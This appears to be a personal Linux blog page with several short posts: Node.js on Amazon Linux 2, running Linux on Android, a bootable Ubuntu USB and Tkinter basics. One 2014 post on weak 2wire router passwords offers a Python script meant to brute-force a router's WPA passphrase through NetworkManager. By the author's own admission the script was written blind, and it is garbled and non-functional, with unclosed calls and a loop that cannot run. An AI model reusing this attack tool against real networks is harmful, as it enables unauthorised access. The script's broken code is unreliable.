Random Linux

Linux, video games and web hosting

The base installation of Amazon Linux 2 doesn’t have nodejs in it’s default repos. The way that is suggested by AWS is to use nvm to manage the installation.  You can find the official documentation for that here:


To start, you need to SSH in, then use this command to install nvm, which is used to install NodeJS.  

curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.34.0/install.sh | bash

It can then be activated by running this command

. ~/.nvm/nvm.sh

After that, you are able to install node with nvm using this command

nvm install node

Once that has completed, node should be installed on the server. You can verify that it is installed properly using this command.

node -e "console.log('Running Node.js ' + process.version)"

That should output the NodeJS version as it does here.

$ node -e "console.log('Running Node.js ' + process.version)"
Running Node.js v15.10.0

Once that has completed, NodeJS is ready to use on the server and should be able to run your applications without any other issues.

February 23rd, 2021

Posted In: Uncategorized

Leave a Comment

Do you use a 2wire modm/router?: Your network could be at risk. The unfortunate matter is that 2wire modems by default use only numbers in it’s generated Password.  Due to this your wireless could be at risk of being compromised as it is rather trivial to write a program that will generate base10 passwords to brute force access to your router. If you have not changed your password since it was installed it would be greatly advised to change the wpa password to something more complex The same is true of the default admin password to the routers backend it is just another string of numbers.

The fact that a company producing wireless hardware would blindly create a password scheme as simple and susceptible to such an easy attack is more than disappointing, that they did it twice is even more so. Generating base10 passphrases is just as bad as the wep protocol granted in this case you don’t have to gather packets and can just directly bruteforce the router with little to no resistance being that there is no idle or block for successive failed login attempts.

The following python example should create a apploication that will effectively bruteforce the login to a 2wire modem, requires networkmanager (Note: may not work as expected I wrote it blind without being on linux and without a python interpreter, the over all idea it represents is correct though)

import dbus
import time

SEEKED_SSID = “2wire123”
SEEKED_PASSPHRASE = “1000000000”

if __name__ == “__main__”:
bus = dbus.SystemBus()
# Obtain handles to manager objects.
manager_bus_object = bus.get_object(“org.freedesktop.NetworkManager”,
manager = dbus.Interface(manager_bus_object,
manager_props = dbus.Interface(manager_bus_object,

# Enable Wireless. If Wireless is already enabled, this does nothing.
was_wifi_enabled = manager_props.Get(“org.freedesktop.NetworkManager”,
if not was_wifi_enabled:
print “Enabling WiFi and sleeping for 10 seconds …”
manager_props.Set(“org.freedesktop.NetworkManager”, “WirelessEnabled”,
# Give the WiFi adapter some time to scan for APs. This is absolutely
# the wrong way to do it, and the program should listen for
# AccessPointAdded() signals, but it will do.

# Get path to the ‘wlan0’ device. If you’re uncertain whether your WiFi
# device is wlan0 or something else, you may utilize manager.GetDevices()
# method to obtain a list of all devices, and then iterate over these
# devices to check if DeviceType property equals NM_DEVICE_TYPE_WIFI (2).
device_path = manager.GetDeviceByIpIface(“wlan0”)
print “wlan0 path: “, device_path

# Connect to the device’s Wireless interface and obtain list of access
# points.
device = dbus.Interface(bus.get_object(“org.freedesktop.NetworkManager”,
accesspoints_paths_list = device.GetAccessPoints()

# Identify our access point. We do this by comparing our desired SSID
# to the SSID reported by the AP.
our_ap_path = None
for ap_path in accesspoints_paths_list:
ap_props = dbus.Interface(
bus.get_object(“org.freedesktop.NetworkManager”, ap_path),
ap_ssid = ap_props.Get(“org.freedesktop.NetworkManager.AccessPoint”,
# Returned SSID is a list of ASCII values. Let’s convert it to a proper
# string.
str_ap_ssid = “”.join(chr(i) for i in ap_ssid)
print ap_path, “: SSID =”, str_ap_ssid
if str_ap_ssid == SEEKED_SSID:
our_ap_path = ap_path

if not our_ap_path:
print “AP not found :(”
print “Our AP: “, our_ap_path


for connections in 9999999999:

connection_params = {
“802-11-wireless”: {
“security”: “802-11-wireless-security”,
“802-11-wireless-security”: {
“key-mgmt”: “wpa-psk”,

# At this point we have all the data we need. Let’s prepare our connection
# parameters so that we can tell the NetworkManager what is the passphrase.

# Establish the connection.

settings_path, connection_path = manager.AddAndActivateConnection(
connection_params, device_path, our_ap_path)
print “settings_path =”, settings_path
print “connection_path =”, connection_path

# Wait until connection is established. This may take a few seconds.
print “””Waiting for connection to reach “”” \
connection_props = dbus.Interface(
bus.get_object(“org.freedesktop.NetworkManager”, connection_path),
state = 0

if SEEKED_PASSPHRASE >= “9999999999”
print “Something has gone wrong”
while True:
# Loop forever until desired state is detected.
# A timeout should be implemented here, otherwise the program will
# get stuck if connection fails.
# This is something that should be avoided, but I don’t know how, yet.
# Also, if connection is disconnected at this point, the Get()
# method will raise an org.freedesktop.DBus.Error.UnknownMethod
# exception. This should also be anticipated.
state = connection_props.Get(
“org.freedesktop.NetworkManager.Connection.Active”, “State”)
print “Connection established!”+ str(SEEK_PASSPHRASE)
print “password is: ”

# Connection is established. Do whatever is necessary.
# …
print “Sleeping for 5 seconds …”
print “Disconnecting …”

# Clean up: disconnect and delete connection settings. If program crashes
# before this point is reached then connection settings will be stored
# forever.
# Some pre-init cleanup feature should be devised to deal with this problem,
# but this is an issue for another topic.
settings = dbus.Interface(
bus.get_object(“org.freedesktop.NetworkManager”, settings_path),

# Disable Wireless (optional step)
if not was_wifi_enabled:
manager_props.Set(“org.freedesktop.NetworkManager”, “WirelessEnabled”,
print “DONE!”

April 24th, 2014

Posted In: Uncategorized

Tags: , , , ,

Leave a Comment

In this article we will go over configuring Limbo x86 Virtual Machine Emulator for the first time. All of the settings for the Virtual Machine that we will be adding can be changed or adjusted afterwards as well so you aren’t locked into any one setting.

Firstly you will need to install Limbo x86 Virtual Machine Emulator if you haven’t done so already. You can download it from http://www.1mobile.com/limbo-pc-emulator-qemu-x86-526980.html and click the install button. Now that we have it installed we need to create or download a disk image to use. (To create a custom images goto the “Creating a custom disk image” section of this article.) You can find several pre-built disk images at the linux on android projects page sourceforge.com/projects/linux/android/ In this instance I have selected The Debian image from the windows,linux,unix project page to work with.

Now that we have Limbo installed and we have our disk image start limbo. Once it has loaded you will be greated with a screen that looks like this. Limbo01Click the drop down box for “Load VM:” and select “New”, it will then prompt you to name the new virtual machine you are creating.  Where is says “User interface” , you can leave is as vnc if you prefer but for the purpose of this article we will change it to “SDL” The general configuration options below are fairly straight forward. Limbo offers several different CPUS that it can emulate, I have left my selection on pentium 3 which is generic enough for a VM. They also allow you to set the number of cores the VM will have this option doesn’t really need to be changed in my experience trialing limbo the number of cores didn’t seem to affect anything and would habe made more sense if they also let you to change clock speeds in addition, I gave my VM one gig of ram to use as I am running this virtual machine on a netbook that is running android so it has memory to spare, for those running this on your phones I would generally say to set it to as much memory as you can spare.

The drive configurations below that are pretty self explanitory, here you can mount iso disk images to each of the virtual drives it will create or allow you to create empty drives to store stuff too, to do that you will click the drop down box next to the drive you want to use and select new. Here you will be able to set the amount of space you want the drive to have. In the case of this tutorial I left them blank. Since we will be loading a prebuilt image that has already been installed we will select “open” and select our disk image. The default action for boot from device is top boot from the hard drive so you don’t necesarily need to change this how ever I did set it to harddrive to ensure it’s booting from the right location. For the purpose of this article I did not configure networking however you can change it to user to allows for netorking. Ieft the vga configuration as it was didn’t really have any need to change it in this case however you may try to use a disk image that has a requirement for a specific vga configuration to operate properly. For “sound configuration” I set the configuration to “all”  enabling them all doesn’t really have a negative effect on the VM so doing this is fine and will also reduce the likely hood of compatibility issues.

Scroll down to the very bottom of the configuration menu and change the DNS to what ever your network is configured for, in my case it is “” Lime02With all of that done we are ready to launch our VM, scroll back up to the top and click start. You may need to click it twice to get it to start loading some times.

April 24th, 2014

Posted In: Uncategorized

Tags: ,

Leave a Comment

In this article I explain how to create a bootable Ubuntu usb drive.

Things you will need, a usb key with at least 2 gb of storage, an bootable Ubuntu disk image, and univeral-usb-installer which you can download here

Universal-USB-InstallerOnce you have the univeral usb installed downloaded execute it. In step 1 select the version of ubuntu you would like to install. If you have not already downloaded the ISO check the  “Download the Iso” check box otherwise select the path to the iso you have chosen. Now in step 3 select the drive letter for the usb key you will be using, you can also set the amount of space to create persistent storage on the drive allowing yo to use the live usb stick as your portable Ubuntu installion, once you have done thatselect “create” and the program will format and automatically create the file system. Once done you can reboot and load your ubuntu installation.


April 24th, 2014

Posted In: Uncategorized

One Comment

qpythonEver want to try your hand at developing applications for Android but don’t want or like java, don’t want to have to deal with the hassle of getting a c program to run on android, or simply just want to play around with the android SDK or system it self with out having to learn another language. Well you can with Qpython and SL4A you can do just that. Qpython acts as a wrapper to the standar python system and SL4A android toolkit so you can quickely write up python applications that can make use of amdroids hardware abstraction.

qpython also includes support for pygame as well as natively creating GUIs to be used in your applications. The package installs the python interpreter, an editor and a function to install additional pythong packages through pypi.

You can install pypi and pthyon through the google play store. For more information on this goto www.qpython.com

April 24th, 2014

Posted In: Uncategorized

Tags: ,

Leave a Comment

In this article I outline how to instlall Linux to your Android device using a chroot environment to mount a disk image. Installing Linux will not overwrite your existing android installation on your device and it will continue to function as it always has, the only thing different is that it will mount a virtual disk image of a Linux installation.

Prerequisites: Your Android device must be rooted ,and USB Debugging must be enabled. (Not required  but optional your kernel should support loop devices,)

For example
Use mount command as follows to mount iso file called disk1.iso:
# mount -o loop disk1.iso /mnt/disk

Now that we have verified that we can mount loop images you will need to download and execute “Deploy Linux” which you can download from the google play store.

linuxdeply Now with “Linux Deploy” installed we need to configure the installation starting with the distribution, Deploy linux has a number of distributions and version to choose from. In this article I will be using debian as my distribution and sid as my version.  Now we are going to want to select our processory type ( the default arm selection should be appropriate) , I am going to leave the mirror field blank in this case.  Next we will select the type of disk we are going to install to. For this article I am going to use a disk image based installation, although you could install to a directory or another partition if you should choose to.  If you are using a tablet or phone that has  a large amount of internal storage it would be recommended to set your installation path to your internal storage. In this articles case we do not and have opted to install to /mnt/sdcard/linux. For the disk size I have set it to 5GB so as to have extra space to perform other installs. I have left the disk type to auto you can however select ext2, ext4, etc. For desktop environment I have selected Xfce For this artical I have changed the  user name to “Debian”. And finally the last two steps we configure whether we want ssh and vnc to start when the installation is loaded. To access the desktop you will need VNC to start so keep this option enabled.

Once we have all of our configuration options set click the install button

The installation procession in Linux Deploy is completely automated.

When the installation operation is completed, you should see the following status message:

<<< end: install

Then, tap the Start button to boot the installed Linux distro. Note the IP address of the running Linux instance and launch the terminal emulator app

Figure 4: Establish an SSH connection in the terminal emulator with your username and the IP address of the Linux instance.

Establish an SSH connection to the running Linux instance using its IP address and the default android username (or the username you specified in the Propertieswindow). When prompted, enter the default changeme password.

The first thing you might want to do is change the default passwords. Issue thepasswd command to change the user password and run sudo passwd root to assign root password. Accessing the graphical desktop environment is equally easy: Launch the VNC client app and connect to the running VNC server using the default changeme password (Figures 5 and 6).

Figure 5: You can access the graphical desktop using a VNC client directly on Android …


April 24th, 2014

Posted In: Uncategorized

Leave a Comment

In this article I outline how to instlall Linux to your Android device using a chroot environment to mount a disk image. Installing Linux will not overwrite your existing android installation on your device and it will continue to function as it always has, the only thing different is that it will mount a virtual disk image of a Linux installation.

Prerequisites: Your Android device must be rooted and your kernel must support mounting loop block devices( most roms support this already but if you aren’t sure try mounting your image using the loop flag, if it errors your kernel doesn’t support it, if you get no error then it does support loops.), USB Debugging must be enabled.

For example
Use mount command as follows to mount iso file called disk1.iso:
# mount -o loop disk1.iso /mnt/disk

Now that we have confirmed our kernel supports loop devices we will want to download “Complete Linux Installer” from the google play store. Also make sure your device has usb debugging enabled as this is necessary. Now that we have the installer we will need a base linux image to install from. sourceforge.com/projects/linux/android/ has a number of images to choose from. For the purposes of this article I will be downloading and installing the Debian small image which will include the base of the operating sytem a few applications and a desktop. After the file is downloaded, extract the zip to a directory, if you are using a tablet or netbook with plenty of drive space it is recommended that you extract it to your system such as /mnt/local/debian. In my case I am using a netbook that has little internal storage so I will be extracting my image to /mnt/sdcard/linux/debian

Once you have the image extracted you will want to download and install vncviewer and a terminal if you do not have them installed already, they can be downloaded from the google play store.  Now that we have all of the tools we need installed execute “Complete Linux Installer” and click “launch” In the configuration you will need to add the path for your debian instllation so it will show up in the list. Once you have added the debian image click it to launch the image.

The script that is launching the image will ask you a few questions such as screen resolution,create a password, whether or not to start SSH or VNC. To access the desktop environment you will need to enable VNC. Now that every thing is setup launch the VNC viewer and configure it with the username, password (usually the user is the distribution in this case debian) and localhost for the address. If all went well you should be able to login and access the desktop.

April 24th, 2014

Posted In: Uncategorized

One Comment

If you’re like me and a large majority of computer/tech geeks, its not enough to have the sweetest gadget and they can’t be given the full stamp of approval unless you can install linux on it.   Over the past few years there hasve been several projects aimed at doing just that. Those projects ultimately turned into two virtual machine softwares which you can use to use a emiulate a virtual disk image which doesn’t require root , Alternativeluy several Linux “installers” have been deveoped which mounts an image deisnged for arm processors natively (This method does require root and and a kernel that supports loop )this along with several prebuilt distro disk images and you are ready to go.

The two virtual machine softares are based on qemu at their cores including support for other popular VM images. Limbo x86 emulator is the more feature rich of the two softwares allowing you to configure what processor type will be used, how much ram, howmany cpu core the list goes on, unfortunately limbo is nolonger maintained and the software was removed from source forge luckily I was able to find a copy You can download limbo from www.4shared.com/get/T0r0EUFO/limbo_pc_emulator__qemu_x86__0.html

The second of the two softwares is named :windows, linux,unix emulator” this app can be downloaded from the  google play store. which is a light weight no frills implementation of a the quem  virtual machine . You can find many pre-built disk images at the following address sourceforge.com/projects/linux/android/files The virtual machines are not limited to running linux images if you have a qemu, vmware  or boches images of a legacy windows installation you can use that too.

If you have a rooted that has loop support Android device I would recommend using one of the linux installers that can be found in the google play store. Instead of emulating a virtual machine it will basically run the linux image natively and then you would use a vnc applicatioon to connect to the xserver instance. Complete linux installer is free to use but does have more options if you purchase a key by donating.

April 19th, 2014

Posted In: Uncategorized


Leave a Comment

If you’re going to write a series of articles on GUI design and implementation you might as well start from the beginning with Tkinter/TK pythons defacto GUI framework. Almost since the beginning the developers of python knew there woud be a need for a GUI frame work so they adapted tcl/tk for use with python by including a tcl interpreter into python. While it is functionhal and effective it did have a few draw backs being that it wasn’t very robust, included the most basic of widgets, didn’t look very good (think back to the early days of any X11 window manager and how unappealing their dialogs looked, and could be slow running.

In recent years a lot of Tkinter has been rewritten to be faster , include more widgets and support better theming so the dialogs will look less out of place on windows, linux and mac. The benfit of using tkinter is that it is almost always installed by default with python so usability from system to system is almost guaranteed even if you forgot to build your application package to include it’s module. While it is still a little underfeatured if all you need are some simple dialogs the the basic controls you would expect from the average dialog driven application Tkinter is still quite effectice and easy to implement without much experience, allowing you to create and use dialogs in your applications very quickly and effortlessly.

This article does not aim to be a complete reference to using Tkinter but only to show a few basic examples, basic features and provide links to other tutorials and reference materials. Tkinter provides the following widgets several of which are updated and overridden through TTK.

Button The Button widget is used to display buttons in your application.

CanvasThe Canvas widget is used to draw shapes, such as lines, ovals, polygons and rectangles, in your application.

CheckbuttonThe Checkbutton widget is used to display a number of options as checkboxes. The user can select multiple options at a time.

EntryThe Entry widget is used to display a single-line text field for accepting values from a user.

FrameThe Frame widget is used as a container widget to organize other widgets.

LabelThe Label widget is used to provide a single-line caption for other widgets. It can also contain images.

ListboxThe Listbox widget is used to provide a list of options to a user.

MenubuttonThe Menubutton widget is used to display menus in your application.

MenuThe Menu widget is used to provide various commands to a user. These commands are contained inside Menubutton.

MessageThe Message widget is used to display multiline text fields for accepting values from a user.

RadiobuttonThe Radiobutton widget is used to display a number of options as radio buttons. The user can select only one option at a time.

ScaleThe Scale widget is used to provide a slider widget.ScrollbarThe Scrollbar widget is used to add scrolling capability to various widgets, such as list boxes.

TextThe Text widget is used to display text in multiple lines.

ToplevelThe Toplevel widget is used to provide a separate window container.

SpinboxThe Spinbox widget is a variant of the standard Tkinter Entry widget, which can be used to select from a fixed number of values.

PanedWindowA PanedWindow is a container widget that may contain any number of panes, arranged horizontally or vertically.

LabelFrameA labelframe is a simple container widget. Its primary purpose is to act as a spacer or container for complex window layouts.

tkMessageBoxThis module is used to display message boxes in your applications.

The following are expanded widgets in TTK.


















It starts with Hello.

As with every programming or scripting tutorial we are going to create a hello world program. In this case we are going to create a simple window with a button that when clicked will cause a popup dialog

import Tkinter
import tkMessageBox

root = Tkinter.Tk()

def OnButtonClick():

tkMessageBox.showinfo( “Hello Python”, “Hello World”)

button = Tkinter.Button(root, text =”Click Me!”, command = OnButtonClick)



It’s that simple to create a dialog box, tkinter was designed to be simple and easy to use, the following example will demonstrate taking input through a text box and changing the text in a label when a button is clicked



# -*- coding: iso-8859-1 -*-

import Tkinter

class simpleapp_tk(Tkinter.Tk):
    def __init__(self,parent):
        self.parent = parent

    def initialize(self):

        self.entryVariable = Tkinter.StringVar()
        self.entry = Tkinter.Entry(self,textvariable=self.entryVariable)
        self.entry.bind(“<Return>”, self.OnPressEnter)
        self.entryVariable.set(u”Enter text here.”)

        button = Tkinter.Button(self,text=u”Click me !”,

        self.labelVariable = Tkinter.StringVar()
        label = Tkinter.Label(self,textvariable=self.labelVariable,
        self.labelVariable.set(u”Hello !”)

        self.entry.selection_range(0, Tkinter.END)

    def OnButtonClick(self):
        self.labelVariable.set( self.entryVariable.get()+” (You clicked the button)” )
        self.entry.selection_range(0, Tkinter.END)

    def OnPressEnter(self,event):
        self.labelVariable.set( self.entryVariable.get()+” (You pressed ENTER)” )
        self.entry.selection_range(0, Tkinter.END)

if __name__ == “__main__”:
    app = simpleapp_tk(None)
    app.title(‘my application’)

handling events and creating key bindings is east and quick in the code samoke below we create a windo window and we create a binding to button 1 on your mouse./


from Tkinter import *
root = Tk()
def callback(event):    print “clicked at”, event.x, event.y
frame = Frame(root, width=100, height=100)
frame.bind(“<Button-1>”, callback)




You can find more information on Tkinter at the following sites.

An non-official  manual and reference for tkinter, very complete in providing information on all of tkinters features,


Tkinter examples and tutorials can be found at



A great book on tkinter can be found at

This book goes into great detail on explaining all of the features of tkinter.

April 19th, 2014

Posted In: Uncategorized

Tags: , , ,

Leave a Comment

In this series of articles  I will be writing articles aimed at explaining how to build/design GUIs for your python projects using Tkinter, wxPython/wxWidgets, PyQT, PyGTK, amongst others. The goal is to provide information and examples from building simple GUIs to more advanced methods and more complex GUI applications.As well as demonstrating the use of several different applications used to build these GUIs. Each series of articles will tackle more complex GUI design methods and various editor softwares.

The reason for writing articles on several GUI frameworks is to allow you to try each of them out and find out which of them you may like more and to give a jumping off point for people who intend to write their programs for a specific framework or OS.


April 17th, 2014

Posted In: Uncategorized

Tags: , ,

Leave a Comment

Next Page »